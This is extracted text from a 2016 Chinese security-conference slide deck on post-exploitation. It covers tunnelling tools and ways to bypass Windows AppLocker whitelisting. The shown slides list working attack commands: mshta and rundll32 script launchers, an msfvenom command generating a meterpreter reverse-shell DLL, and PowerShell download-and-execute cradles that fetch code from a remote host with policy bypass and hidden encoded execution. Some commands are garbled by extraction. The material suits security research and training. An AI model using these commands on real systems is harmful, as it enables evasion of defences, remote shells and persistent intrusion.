Shell is Only the Beginning——后渗透阶段的攻防对抗 3gstudent & Evi1cg As a offensive researcher, if you can dream it,someone has likely already done it and that someone isn’t the kind of person who speaks at security cons… ——Matt Graeber 3gstudent Good Study Good Health Good Attitude Evi1cg Thin WhiteHat Security Researcher 后渗透阶段 渗透测试 黑客攻击 以特定的业务系统作为目标,识 别出关键的基础设施,并寻找客 户组织最具价值和尝试进行安全 保护的信息和资产 黑客对攻击战果进一步扩大,以 及尽可能隐藏自身痕迹的过程 目录 • 打开一扇窗 • 绕过看门狗 • • Open Proxy • Bypass Application Whitelisting • 我来作主人 • 屋里有什么 • 挖一个密道 • 我来抓住你 Escalate Privileges • Gather Information • Persistence • Detection and Mitigations 打开一扇窗 Open Proxy 为什么用代理? • 更好地接触到目标所处环境 • 使用已有shell的机器作为跳板,扩大战果 • It’s the beginning 常用方法 端口转发:Client-> Lcx, Netsh; HTTP-> Tunnel; Socks代理:Client-> Ew,Xsocks; HTTP-> ReGeorg; Metasploit-> Socks4a 其他:SSH, ICMP 等 Vpn Metasploit-> Portpwd ! 然而,我们可能会碰到这样的情况: • 安装杀毒软件,拦截“恶意”程序 • 设置应用程序白名单,限制白名单以外的程序运行 eg:Windows Applocker Windows AppLocker 简介: 即“应用程序控制策略”,可用来对可执行程序、安装程序和脚本进行控制 开启默认规则后,除了默认路径可以执行外,其他路径均无法执行程序和脚本 绕过看门狗 Bypass Application Whitelisting 绕过思路 ü Hta ü Office Macro ü Cpl ü Chm ü Powershell ü Rundll32 ü Regsvr32 ü Regsvcs ü Installutil … 1、Hta More: • Mshta.exe vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.cl ose) • Mshta.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe ",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveX Object("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);} 2、Office Macro MacroRaptor: • Detect malicious VBA Macros • Python • https://bitbucket.org/decalage/oletools/wiki/mraptor 3、Cpl DLL/CPL: 生成Payload.dll: msfvenom -p windows/meterpreter/reverse_tcp -b ‘\x00\xff’ lhost=192.168.127.132 lport=8888 -f dll -o payload.dll (1) 直接运行dll: rundll32 shell32.dll,Control_RunDLL payload.dll (2) 将dll重命名为cpl,双击运行 (3) 普通的dll直接改后缀名 From: http://drops.wooyun.org/tips/16042 4、Chm 高级组合技打造“完美” 捆绑后门: http://drops.wooyun.org/tips/14254 利用系统CHM文件实现隐蔽后门: 《那些年我们玩过的奇技淫巧》 5、Powershell Command: 如果禁用powershell: • powershell -nop -exec bypass -c IEX (New-Objectet.WebClient).DownloadString('http://ip:port/') • 通过.Net执行powershell: • Get-Content payload.ps1 | iex • cmd.exe /K < payload.bat Lnk: • powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA== https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/ • p0wnedShell: https://github.com/Cn33liz/p0wnedShell • PowerOPS: https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/ 6、Rundll32 javascript : rundll32.exe javascript:“\..\mshtml,RunHTMLApplication ”;document.write();new%20ActiveXObject(“WScript.Shell”).Run(“powershell -nop exec bypass -c IEX (New-Object Net.WebClient).DownloadString(‘http://ip:port/’);”) Dll: rundll32 shell32.dll,Control_RunDLL payload.dll From: http://drops.wooyun.org/tips/11764
2016-《后渗透阶段的攻防对抗》
温馨提示:如果当前文档出现乱码或未能正常浏览,请先下载原文档进行浏览。
本文档由 张玉竹 于 2022-04-08 09:08:16上传分享